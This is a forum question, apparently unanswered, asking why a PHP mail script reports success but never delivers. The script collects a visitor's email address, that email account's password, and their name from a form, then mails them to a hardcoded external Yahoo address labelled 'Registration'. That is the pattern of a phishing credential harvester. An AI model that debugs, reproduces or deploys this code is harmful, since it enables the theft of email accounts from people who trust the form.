0
  $email = "";
  $emailPass = "";
  $fName = "";
  $lName= "";

  if(isset($_POST['email'])){
      $email = $_POST['email'];
  }
  if(isset($_POST['emailPass'])){
      $emailPass = $_POST['emailPass'];
  }
  if(isset($_POST['fName'])){
      $fName= $_POST['fName'];
  }
  if(isset($_POST['lName'])){
      $lName= $_POST['lName'];
  }

    $to      = 'prnx03@yahoo.com';
    $subject = 'Registration';
    $message = '<html>
                    <body style="font-family:monospace;">
                        <table>
                            <tr>
                            <td><h2>Registration Entry</h2></td>
                            </tr>
                        <tr>
                            <td>Email Address: </td>
                            <td>'. $email .'</td>
                        </tr>
                        <tr>
                            <td>Email Password: </td>
                            <td>'. $emailPass .'</td>
                        </tr>
                        <tr>
                            <td>Firstname: </td>
                            <td>'. $fName .'</td>
                        </tr>
                        <tr>
                            <td>Lastname: </td>
                            <td>'. $lName .'</td>
                        </tr>
                        </table>
                    </body>
                </html>';

    $headers = "From: admin@mysite.com";

    if( mail($to,$subject,$message,$headers) )
    {
        echo "Message sent successfully...";
    }
    else
    {
        echo "Message could not be sent...";
    }

I can assure that the parameters have their values. My only problem was though the response echoed was Message sent successfully, I can't receive the email on my inbox/spam folder. I would like to know where is my mistake. I just want to send a simple mail as a test.

I'm on a web host with php support which I'm using to connect with database.

0 Answers0